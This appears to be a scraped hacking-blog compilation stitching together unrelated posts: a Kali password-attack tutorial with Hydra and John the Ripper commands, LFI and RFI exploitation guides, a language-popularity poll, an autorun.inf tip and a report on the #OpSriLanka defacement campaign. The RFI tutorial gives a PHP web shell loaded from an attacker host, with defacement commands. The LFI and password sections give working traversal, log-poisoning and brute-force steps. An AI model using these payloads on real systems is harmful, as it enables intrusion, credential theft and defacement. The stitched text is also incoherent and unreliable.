The Password Attacks on Kali Linux

This is a part of my article “The Password Attacks on Kali Linux” published on PenTest Magazine.
I have the right to do up to 100 downloads of that magazines, so If you are interested on it you can download PenTest Extra 04_2013 for free using the following link. The only thing you need is a free registration.
- PenTest Extra 4_2013

The Password Attacks on Kali Linux [Part 1]

What is the weakest part of the security chain? You know the answer: the one who stand between the keyboard and the desk chair. And what does this user do on her/his first job day? Set a password. Yes, a big part of our security environment lies around that password.

Of course we talk about internal password because Nerwork Administators have well learned the lesson and secure their external accounts with encryption, strong policy, access restriction; in spite of this the internal accounts are the heaven for hackers (and the hell of sysadmins).
Nowadays internal users are, fortunately, low-privileged and some kind of policy forces a little of security, but even if your policy is set with more than 8 characters with numbers, upper and lower case, there will be a user that set as password something like AAAAaaaa1 or Password1.

The complete takeover of a net is a stairway that goes through information gathering, network discovering, password cracking and system owning. Also, finding a low-privilege password is one stair over and it’s actually one of the biggest gap that a penetration tester has to pass. If you find a password, you can quickly test it on other systems and services previously discovered (ssh, ftp, mail): users have the bad routine to use the same keyword for different services.
When you discover a password, you can make an idea about the security company policy and you can try a widespread brute-force attack. If you find, for example, a key of 8 characters, all low case, you can try an attack using this setting on all systems of the LAN. Even if you find a key word from user that isn’t administrator or root there are lot of well-known privilege escalations that can be attempted, especially for old or unpatched system.
Other options that can be used, when you owned a PC with an unprivileged account, are: sniffing traffic,
extracting stored credentials or pivoting other attacks. All these things lead you over and over inthe stairway. In substance, a right association user-password is one of the core success on a pentest and it’s all trusted to an user and his password, that he has chosen on his first job day.

Some terms
Let’s start making a specification. There are two common names you can hear talking about password attack: BruteForce and WordList.
Brute force is when the password is tested using all designated characters, using a set length. The following is an example: use character ‘a’, ‘b’ and set length 2. The password that will be tested are aa, bb, ab and ba; these are 4 tries. You can calculate the amount of attempts: quantity of characters elevated to length used, in this case 2^2=4. Because it is an exponential, it can be become very difficult to test something with ten characters using full ASCII set: according to Password time calculator by lastbit.com this BruteForce attack will take up to 4274902 years.
BruteForce attack, but a WordList one, where what will be used as keys are all single words present in one list.
Note that the password used is exactly the same written in the list. So if in the document there’s the word ‘backup’ only this word will be tested and not ‘Backup’ or ‘back-up’; fortunately there are programs that make these permutations automatically.
So wordlists are often a smarter attempt than a bruteforce attack; in spite of this, during a pen test, you must have a very strong reason to spend hours for this kind of attack.
Of course the following password attacks are done using Kali Linux, because it has every tool you’ll need. Thanks to OffensiveSecurity, Kali Linux, like its father BackTrack, is one of the most used pentesting distributions. If you are reading here you known what we are talking about.

Create your user and password list
To perform a wordlist attack you need, of course, a list of words. There are many techniques to create it, and many places where you can find a precompiled one, but the best way is to create a document based on your needs. From my personal opinion, in this case, is necessary to start from locating valid usernames from the network I‘m testing and using these as a first simple list, trying blank, username as password or very simple passwords.
The harvest, by Edge-Security Research, is a very useful tool that helps you by searching for a company name in various resources database (Google, Linkedin, PGP, Bing…) and then extracts for you probable user names. In the Figure 1 you can see the result of a research: maybe vdiaz, cdelojo and cmartorella are also FTP, SSH or RDP users.
Then you can try to locate some useful accounts from the company website: e-mails and documents such as pdfs, docs or similar can be downloaded to gain such information. You can automate the operation by using another tool by Edge-Security Research: metagoofil (see Figure 2).

Figure 1

Figure 2

Another way to find usernames, when you are in the testing-Company LAN, is to locate a mail server and an SNMP service. Mail server can be vulnerable to VRFY command and you can use it to probe the system for login names. The VRFY is a licit command and fortunately, in modern system, is disabled to patch this security issue, but sometimes you can still use it. Let’s look how it works using a simple Netcat connection:

root@kali:~# nc -nv mailserver.fakesite.lab 25
(UNKNOWN) [10.0.7.14] 25 (smtp) open
220 mailserver.fakesite.lab ESMTP Sendmail 8.13.7
VRFY freddie
550 5.1.1 freddie... User unknown
VRFY root
250 2.1.5 root <root@fakesite.lab>
VRFY test
550 5.1.1 test... User unknown

If the system is vulnerable, smtp-user-enum program can be used to get some usernames; the following is the basic command to use it:

root@kali:~# smtp-user-enum -M VRFY -U users.txt -t 10.0.7.14

Note that the option -U uses a wordlist in order to find names. If you haven’t one you can find some preloaded in Kali using a command like this:

root@kali:~# find / | grep users.txt

However the suggestion is to keep your list under 100-150 names. Smtp-user-enum can also be used to test the EXPN function; EXPN is similar to VRFY, but it is used on distribution list and it lists all its users. This can be a bigger problem than the VRFY since sites sometimes have an alias such as “all”.
Another way to compile your focused user list is SNMP analysis. SNMP is a protocol based on UTP that is often used to monitor servers’ service status.
The distribution lists (community strings) are passed in clear and often have the default state (public or private), so you can easily try to find it in order to query the server and get many information.
You can use a combination of Onesixtyone and Snmpcheck; the first can be used to enumerate community strings, so, after locking on the hosts with SNMP service, the program can be run.

root@kali:~# onesixtyone -c /usr/share/doc/onesixtyone/dict.txt -i /tmp/host-snmp.txt

The dict.txt is a wordlist (another one) of possible community strings and it is already present in Kali; the host-snmp.txt is a file with the IPs of all hosts with the SNMP service active in the network. The word in the square brackets (see Figure 3) is what you are searching for and the next step is to use this word combined to Snmpcheck to extract data from the service.

Figure 3

root@kali:~# snmpcheck -t 192.168.34.135 –c admin | grep -a “User accounts” -A 11
[*] User accounts
-----------------
Administrator
Guest
IUSR_HP-SRV01
IWAM_HP-SRV01
SUPPORT_388945a0
albert
krbtgt
jodie
user
expert

In this example the output is limited to the user accounts (grep -a “User accounts” -A 11), but you can get much more info using SNMP such as processes running, programs installed, open ports, network and routing configurations, storages information and much more.

There are several ways to find a username in the net: if something similar to PC-pedro or Maria’s MacBook is found the assumption is that Pedro and Maria are likely to be usernames that will have access on these computers. It’s important to compile the user list meticulously and add every possible username you find, so you can use it later.

Finally you have a user list that will help you in a first simple password attack.
If you will have no results you’ll wish to make some simple extensions to that list using John the Ripper (JtR) or you’ll try another small wordlist like /usr/share/john/password.lst; also in this case JtR can be used to make some little changes.
Let’s see some usage of John the Ripper password cracker by Openwall. Note that this program does more than what you’ll read here. You will see now, how make some simple mutations in order to upgrade your user list and use it as a password list.
The idea is to create something that leads from an input as ‘root’ to an output like Root, ROOT, rootroot, toor, Root1 and so on. Well, let’s expand a small file (wordlist.lst) with only ‘root’ and ‘password’:

root@kali:~# john -w=wordlist.lst --rules --stdout | tr -s '\n' ' '
words: 100  time: 0:00:00:00 100%  w/s: 10000  current: Passwording
root password Root Password roots passwords root1 password1 Root1 Password1 rootroot toor drowssap 1root 1password ROOT PASSWORD root2 password2 root! password! root3 password3 root7 password7 root9 password9 root5 password5 root4 password4 root8 password8 root6 password6 root0 password0 root. password. root? password? psswrd RootRoot tooR drowssaP Toor Drowssap roottoor rooT passworD 2root 2password 4root 4password Root2 Password2 Root! Password! Root3 Password3 Root9 Password9 Root5 Password5 Root7 Password7 Root4 Password4 Root6 Password6 Root8 Password8 Root. Password. Root? Password? Root0 Password0 3root 3password 7root 7password 9root 9password 5root 5password 6root 6password 8root 8password Roots Passwords rooted passworded rooting passwording Rooted Passworded Rooting Passwordin

In this case a default rule set is used (--rules), but you can modify it using /etc/john/john.conf; note that with 2 words JtR generates 100 words instantly.
The output is normalized, in this case, using tr -s '\n' ' ', but you can remove this part of command and redirect all in a file that fits your needs. Later,
talking about offline attacks, you’ll come across JtR again and you’ll find some other awesome features. Even though, I think, using a huge wordlist is not a good idea, it can be useful to know how to make it, so here are two great tools.
The first is CeWL, you can use it to dig a Company web site to extract words and convert these in a list. The basic usage is very simple and the impact awesome:

cewl www.fakesitelab.com > /tmp/wordlist.txt

You can even use it to extract usernames by pointing CeWL to sites that collect popular birth names. Similarly you can use it to create monothematic wordlists: animals, plants, countries, cars, “Lord of the Rings”, topic words and so on.
The concept I’d like to remark is that in an online password attack you are connected to the LAN: you make network traffic, you stress systems and you can’t stay there all night and day long.
The second tool is Crunch. It can be used to create a word list too, but starts from a different point of view compared with CeWL. Crunch is more like a bruteforce: it generates all words using some parameters you set. Essentially you establish min and max length and a charset (or use the default one); so you can create all possible combinations of characters a, b, c with length from 2 to 4 using the following command:

root@kali:~# crunch 2 4 abc

More specific and interesting usage can be read in the manual page, like the -t option: you can take one word and append some characters to it:

@@god@@@@ where the only the @’s, ,’s, %’s, and
^’s will change.
@ will insert lower case characters
, will insert upper case characters
% will insert numbers
^ will insert symbols

The output can be sent to the screen, to a file, or to another program; this last option allows the use of Chunch directly on an online/offline cracking operation without physically generating a wordlist, saving hard disk space.

Online Password Attack
One of the best tools to complete the online attack is Hydra. This program is tasked to join your lists and to perform the attack over a network service.
The figure 4 explains how it works: it puts together a username list, a password list and a host list split by services to attack (FTP, RDP, SSH, MySQL…).
Then it starts to try every username and password associations on every hosts. Some other parameters can be set such as proxy or the number of tasks; very useful when attacking some cranky service like RDP.

Figure 4

The following is the command that performs a wordlist attack against all FTP hosts in the net:

root@kali:~# hydra -s 21 -V -L /tmp/users.txt -P /tmp/passwords.txt -e nsr -t 16 -M /tmp/FTP_hosts.txt ftp

The -L, -P and -M options are used to point to the wordlists of users, passwords and hosts and can be replaced by -l, -p and a IP to use a single name, password or target. -s is the port to attack and the ftp at the end is the service used as target. -V stands for verbose and -e option tries n null password, s login as pass and/or r reversed login. Finally -t is the number of task that Hydra will use.
The simplest way to learn the use of this tool is to take a look at the GUI xHydra (see Figure 5).

Figure 5

Hydra is the end (maybe happy) of the online password attack, but it is no more than a task executor. Its force lies in the wordlists you will be able to create, don’t forget this.

SOURCE : http://www.gosecure.it/blog/art/391/sec/the-password-attacks-on-kali-linux-part-1/

LFI’s Exploitation Techniques

              LFI’s Exploitation Techniques

What’s a Local File Inclusion?A local file inclusion (usually called “LFI”) is a webhacking technique that allow simply to include files from a local location. That means that we can include a file that is outside of the web directory (if we got rights), and execute PHP code.

<?php include($_GET['page']);?>

This code will search for the variable GET “Page”, include and execute the page specified by that GET variable. If you wan’t an example, you’ve surely already seen an website with something like “index.php?page=news.php” that’s it, that’s in a lot of case, an include. To start include file locally, we’ll use “../” that allow us to go to an directory upper than the actual one. We’ll try to include the file /etc/passwd, well, it’s not always readable but it’s a good start. We’ll use “../” to go to the root, then load /etc/passwd.

http://sitelambda.com/index.php?page=../../../../../../../../../../etc/passwd

I personally prefer using “./” before the page name to verify if there’s an exploitable local file inclusion (example: index.php?page=news.php >> index.php?page=./news.php if it works, mostly there’s an LFI) but it won’t always work. Note that /etc/password will only works on Linux system.

The null byte technique.In most cases, the webmaster will not do an include like that, he’ll prefer add himself “.php” at the end of the inclusion. (Well, we can say that index.php?p=newsis prettier than index.php?p=news.php) He’ll use a code like that:

<?php include($_GET['page'].”.php”);?>

So, this time, the php will include again a page with the GET variable page, but it’ll add .php at the end. To bypass this restriction, we’ll use the null byte. The principe of the null byte is that it is an line terminator char. It means that everything after the null byte will be deleted. To use it, you’ll have to got a website with magic quotes off. The character urlencoded is “″ (the browser will automatically translate it) so, for example, this time we’ll gotta use that:

http://sitelambda.com/index.php?page=../../../../../../../../../../etc/passwd

It’ll include /etc/passwd perfectly. The .php will be deleted by the null byte.

---

And now that I got a LFI, what should I do?
I actually know only 4 LFI exploitation technique, there they are:

The access.log

The principe is simple, we’ll include the log file that logs all the web connections to the server. In our case, it’ll be the access.log, but it can also be access_log, or any name in fact. (You’ll gotta see the apache/httpd configuration to know what’s the logfile name).

http://site.com/&lt;? phpinfo(); ?>

By the way, I think that the useragent is not urlencoded, so you can modify it and try with that.

The /proc/self/environ

You’ll gotta do something like that, then the server will log it inside the access_log, and when  you’ll include it, the code will be executed. Note that your browser automatically urlencode your special chars, so you’ll have to go to that url with a script that won’t auto-urlencode. If you go with your browser, it’ll be something like: “%3C? phpinfo(); ?%3E”.

It’s my favorite one. Try to include /proc/self/environ, you will see a list of actual processus variable. (Well, if you got rights to include that file, that’s not often the case) you’ll see something like that if you’re on Mozilla:

HTTP_USER_AGENT=Mozilla/5.0

Why it is interessant? Because you’ll can change your useragent to suit the php code you want. How? Go to “about:config” (type it in your Firefox Browser), create a new line, string, with these datas: “general.useragent.override” for the name, and “<? phpinfo(); ?>” for the value. (Note that there’s some tool that do it automatically, like useragent switcher). Reload the page, and you’ll see an phpinfo instead of “Mozilla/5.0″

The PHP Sessions Exploitation.

Another exploitation is the sessions exploitation. If your site got php sessions (phpsessid, etc..) you’ll can include them and if you can modify the datas, it’ll be easy to execute code. You’ll gotta include sess_[your phpsessid value]. Most of time, it is in /tmp, but you’ll can find it sometimes in /var/lib/php5/ also, etc.. The data stored in phpsessid should be everything (like a name at a register, an option you choose).

index.php?p=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

I suggest you to surf a little before trying to include the phpsessid, touch at everything, modify options, etc..

The upload

We don’t often heard of it, but it’s the easiest technique. Just upload a file that contain php code, include it. Example: There’s an forum on the site you’re actually trying LFIs, upload an avatar with modified code that contain php (hexedit it, and modify only at the center of the datas, so the forum will still recognize it as an image). Found the right path, and include your avatar, tadaa, your code is executed.

---

Read a file with LFI

There’s a technique that will allow us to “read” a file with a LFI. (Interessant file to check should be config.php file, that normally, will only be executed, not shown). We’ll use PHP Filters to help us do it:

index.php?page=php://filter/read=convert.base64-encode/resource=config

This code will base64 the resource “config” (like if it was index.php?page=config, but with base64′d) with that, your code won’t be executed, and you’ll can base64_decode() it after to take the original config.php file. This method won’t need magic quotes but you’ll need to have a PHP Version higher or egal to PHP5.

---

Special cases

Sometimes, even if you can read the /etc/passwd, it is not an include. For example, when they’ll use readfile() in php, it’ll load the file, but php code won’t be executed. It’s a problem to execute php code, but well, it’ll give you an advantage on one point, you’ll can read configs file.

index.php?page=./forum/config

Then show the source of the page (CTRL+U) to have the code.

---

The “Does a folder exist” trick.

If you got a LFI, a good technique to know if a folder exist is simply to enter, then go out of it. Example:

index.php?page=../../../../../../var/www/dossierexistant/../../../../../etc/passwd

---

How to protect from LFIs?

Well, first, activate magic quotes, it’s not the “perfect solution”, but it’ll help. Then you should also activate open_basedir to only read into your web folder and /tmp, you should also do a function that parse the “/” , “.” and “″ char.
But well, the best option is the non dynamic include.

if ($_GET['page'] == “news”) {include(“news.php”);} else {include (“accueil.php”);}

Remote File Inclusion Tutorial

              Remote File Inclusion Tutorial
RFI stands for Remote File Inclusion that allows the attacker to upload a custom coded/malicious file on a website or server using a script. The vulnerability exploit the poor validation checks in websites and can eventually lead to code execution on server or code execution on website (XSS attack using javascript). This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of tutorial, I suppose you will know what it is all about and may be able to deploy an attack or two.

RFI is a common vulnerability and trust me all website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and do almost anything. What makes it more dangerous is that you only need to have your common sense and basic knowledge of PHP to execute this one, some BASH might come handy as most of servers today are hosted on Linux.

Starting with RFI

Lets get it started. The first step is to find vulnerable site, you can easily find them using Google dorks.If you don't have any idea, you might want to read about advanced  password hacking using Google dorks or to use automated tool to apply Google dorks  using Google. Now lets assume we have found a vulnerable website

http://victimsite.com/index.php?page=home

As you can see, this website pulls documents stored in text format from server and  renders them as web pages. We can find ways around it as it uses PHP include  function to pull them out. Lets check it out.

http://victimsite.com/index.php?page=http://hackersite.com/evilscript.txt

I have included a custom script "evilscript" in text format from my website, which  contains some code.Now, if its a vulnerable website, then any of these 3 things can  happen

Case 1 - You might have noticed that the url consisted of "page=home" had  no extension, but I have included an extension in my url,hence the site may  give an error like 'failure to include evilscript.txt.txt', this might happen as the  site may be automatically adding the .txt extension to the pages stored in  server. Case 2 - In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error. Case 3 - successfull execution :)

Now once you have battled around this one, you might want to learn what to code inside the script. You may get a custom coded infamous C99 script (too bloaty but highly effective once deployed) or you might code yourself a new one. For this knowledge of PHP might come in handy. Here we go

<?php echo "<script>alert(U 4r3 0wn3d !!);</script>"; echo "Run command: ".htmlspecialchars($_GET['cmd']); system($_GET['cmd']); ?>

The above code allows you to exploit include function and tests if the site if RFI (XSS) vulnerable by running the alert box code and if successful, you can send custom commands to the linux server in bash. So, if you are in luck and if it worked, lets try our hands on some Linux commands. For example to find the current working directory of server and then to list files, we will be using 'pwd' and 'ls' commands

http//victimsite.com/index.php?cmd=pwd&page=http://hackersite.com/ourscript http//victimsite.com/index.php?cmd=ls&page=http://hackersite.com/ourscript

What it does is that it sends the command as cmd we put in our script and begins print the working directory and list the documents.Even better you can almost make the page proclaim that you hacked it by using the 'echo' command.

cmd=echo U r pwn3d by xero> index.php

It will then re-write the index.php and render it.In case, its a primitive website which stores pages with .txt extension, you might want to put it with along the .txt files. Now as expected, we are now the alpha and the omega of the website :) we can download, remove, rename, anything! Want to download stuff ? try the 'wget' function... I leave the rest to your creativity !

Top 20 Most Popular Programming Languages Among Hacker

Top 20 Most Popular Programming Languages Among Hacker 

Two weeks ago someone ran a poll on Hacker News asking what the readers’ favorite programming language was. Yesterday (April 5) I took a look back at the poll to see who came out on top.

I wasn’t surprised to see Python win, but I was surprised to see it lead Ruby by over 1,000 votes. C# fared well with 5th place, and Haskell and Clojure rounded out the top 10.

1. Python (3044)
2. Ruby (1718)
3. JavaScript (1412)
4. C 966
5. C# 828
6. PHP 662
7. Java 551
8. C++ 529
9. Haskell 518
10. Clojure 458
11. CoffeeScript 361
12. Objective C 326
13. Lisp 321
14. Perl 310
15. Scala 233
16. Scheme 190
17. Other 188
18. Erlang 162
19. Lua 145
20. SQL 101

No other language had over 100 votes, but Groovy was added two hours late, so perhaps if were included to begin with it would be on the list instead of “other.”

Cobol came in dead last with 10 votes.

Compare that with RedMonk’s comparison of programming language usage on GitHub matched to StackOverflow questions:

Polls like this don’t do much to tell us which programming languages are “best” or what languages are most used in production. They’re not even controlled to make sure the people voting are actually programmers, so it’s hard to read too much into them. But they do tell a bit about what languages developers like to use. As developers become entrepreneurs and startups become enterprises, these sort of preferences can have an impact on the job market, so taking a look at these sorts of lists can help developers decide what to learn. And for employers, they can provide a data point for deciding what languages attract developers. Of course the usual caveats apply – use the best tool for the job and use these results as only a single data point weighted against many others to decide what to learn/use.

How to make the autorun.inf???

                 How to make the autorun.inf???

Autorun.inf is NOT a virus...
This article is about autorun.inf file which is used by most of the viruses and to beat these kind of viruses we can use this same file as a security measure.
let's see how can we do that...



Autorun.inf is a file used to tell windows about what should happen if a specified action takes place in the respective drive.
Example: A virus is programmed to copy itself to a removable media and make an autorun.inf inside the removable drive. The autorun.inf has information that whenever user OPEN the drive the virus should be infected.

But autorun.inf's have various other uses that are quite nice.
Out of which we are going to use:

1. assigning a drive icon to the drive...(this feature is available in vista)

So here you have to make a custom icon (or copy from other source) for your drive , which should be 16*16 px Or 32*32 px Or 64*64 px etc etc...
you can also use any game's icon if you dont want to make one. you can find there icons in the directory in which they are installed.
For example : I previously used GTA's icon for my games drive. :D

You can use third party software like tune-up utilties to change our drive icons but we will discuss advantage of "this" method later.

How to make the autorun.inf???

1. 1]first open any text editor (like notepad)
2. 2]type [autorun] (with square brackets and press enter)
3. 3]on next line type icon=lovelyicon.ico (where lovelyicon.ico is name of your icon image)
4. 4]now goto file >> save as >> autorun.inf >> make text documents to all files >> save

The text document should look like below:
*************************************

[autorun]

icon=lovelyicon.ico

*************************************
now copy this autorun.inf file and paste it in all drives...
now copy your icon files , paste it in the drives and rename it to lovelyicon.ico

restart computer.

after restarting You should see the icons for your drives .





But what is the security part ????


we know , no antivirus is perfect !!!
If you got infected by a virus which makes autorun.infs in drives to infect then lets see how you will be alerted...

the process takes place like this...
Virus infected >> he made his own autorun.inf >> hence our autorun.inf got replaced >> our autorun.inf has information to display icons >> that information will be lost >> hence after next restart the icons will be change to default drive icons >> so before opening any of the drives you will be able to know that our autorun.inf is replaced... >> hence you understand "something" is there...



I have problems saving the autorun.inf file !!!

majority of times you may get errors saving files to the drives.
reasons may be:

1. 1]you are already infected with some viruses which already have created there autorun.infs with read only attributes.
2. 2]the virus process running in the background may keep replacing our autorun.infs with there ones...
3. 3]you have a third party software like USB disk security which is preventing it from saving it in drive.
4. 4]you dont have permissions to write any file in the drive

solutions !!!

one and foremost solution is getting a good and updated antivirus and scan the whole system
After scanning most of the antiviruses delete the virus files but won't delete its autorun.infs.
to delete it manually do the following steps.
open my computer >> goto tools >> folder options >>view >> click show hidden files anduntick hide protected operating system files >> click ok

now we can see the hidden autorun.inf in the drives. go and delete. if you have problems in deleting autorun.inf. download a tool called unlocker from filehippo.com and then delete it through unlocker.

after deleting autorun.inf , hide protected operating system files again...


What are its advantages ???

These types of icons can be achieved through many softwares. These softwares makes some registry changes and display the icons.
advantages of this method:

1. 1]As this method deals with autorun.inf we get a measure to prevent ourselves from malwares as shown in the whole post.
2. 2]When we connect our hard drive (as slave) to other OS , our drives retain there icons which cannot be achieved through Third party utilities which use registry changes.
3. 3]We always get a good feeling when we detects a foreign autorun.inf and we remove it successfully :)

What are its disadvantages ??

As far as I am concerned , the disadvantage is that when you format a drive then the icon of that drive gets lost. No matter a small backup of both files can do a lot.

#opsrilanka - 15th April 2014

#OpSriLanka: Hackers from around the globe launches Cyber war over Sri Lanka, to protest against Tamil Genocide.

Note: Official post -->

http://www.techworm.net/2014/04/opsrilanka-hackers-from-around-globe.html

http://www.meethackers.in/2014/04/a-talk-about-opsrilankashadowforce.html

Hackers from Around the globe have came up together and launched "#OpSriLanka", Cyber war against Sri Lanka as a protest against the ongoing Tamil Genocide in the country.

Report suggests The Operation was being planned from week's ago and is live from last 2 days, the main course of attack was planned on 15th and 16th of April and this period can be increased said one of the hacker who uses the online handle Shawdowforce - with core crew HusseiN98D and Priority

SriLankan Cyberspace was struck hard there Government should hear us, they should hear to the Voices of Innocent Tamils who they are killing, said one another hacker from Indonesia who participated in the Operation.

A paste released by the "Shawdowforce" who managed the Operation suggests that Representative from more than 13 teams including Anon Ghost -Indian Haxors Team - Indian Cyber Rakshak - RedCult (Lebanon) - Muslim Cyber Corporation(Indonesia) - Pakistan Haxors Crew - Ip Sova Crew(Malaysia) - Indonesian Red Code -Team - Elite Cyber Army (Philippines) - Afghan Cyber Army - Indian Cyber Devils - Sec~Team-7 - Sec_dark took part in the operation.

Some other hackers going with the online handle  Leet Omnicorn - N4ND4 - Gabriel -
 Sri H@xor- Ganes - Eagle Shadoow - Spider64 - Sujit - Akhil Haxor - Justin - Desi Leet - Daksina - Crypted - Glaze were also the part of the operation.

Several Government websites were defaced and others were brought down using DDOS.
more than 100 websites including websites of big Organisations and local business were defaced too.

we hope that this will bring attention of the world on the ongoing Tamil Genocide in SriLanka, and this will teach a lesson to SriLankan Government said one of the Participants. 

Our Deface Page

Notice:

Welcome to all members of Anonhacksociety

We have successfully made our first deface page
ahsdeface.hpage.com

Visit our page and comment on it, if u like